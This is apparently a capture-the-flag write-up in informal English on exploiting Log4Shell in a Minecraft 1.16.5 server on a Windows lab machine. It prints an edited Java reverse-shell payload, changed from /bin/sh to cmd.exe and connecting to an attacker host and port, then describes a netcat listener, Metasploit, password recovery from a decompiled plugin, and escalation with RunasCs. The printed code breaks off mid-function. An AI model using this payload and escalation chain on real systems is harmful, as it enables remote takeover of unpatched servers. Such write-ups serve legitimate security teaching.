Recon

So we know port 25565 open and it identify as Minecraft server version 1.16.5 that affected to vulnerability called "LOG4J" its exploit rce for java.

You can get the public exploit in : https://github.com/kozmer/log4j-shell-poc

Identify the exploit and edit it ( because the machine was windows and the exploit rce call /bin/sh instead cmd.exe so we must edit it )

in String cmd="/bin/sh" to "cmd.exe" like this:

def generate_payload(userip: str, lport: int) -> None:
    program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {

    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="cmd.exe";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe=p.getErrorStream(),
            si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            while(pi.available()>0)
                so.write(pi.read());
            while(pe.available()>0)
                so.write(pe.read());
            while(si.available()>0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            }
            catch (Exception e){
            }
        };
        p.destroy();
Copy

we got the flag ( in out netcat listener ), after that i escalate to using msfvenom and msfconsole to easier proccess.

Go to the plugins in server directory. get the java plugins
download it and decompile it using jd-gui

we got the pass. try it in administrator using https://github.com/antonioCoco/RunasCs/releases/tag/v1.5 or u can different method : https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/lateral-movement/runas

And boom we got the flag and root.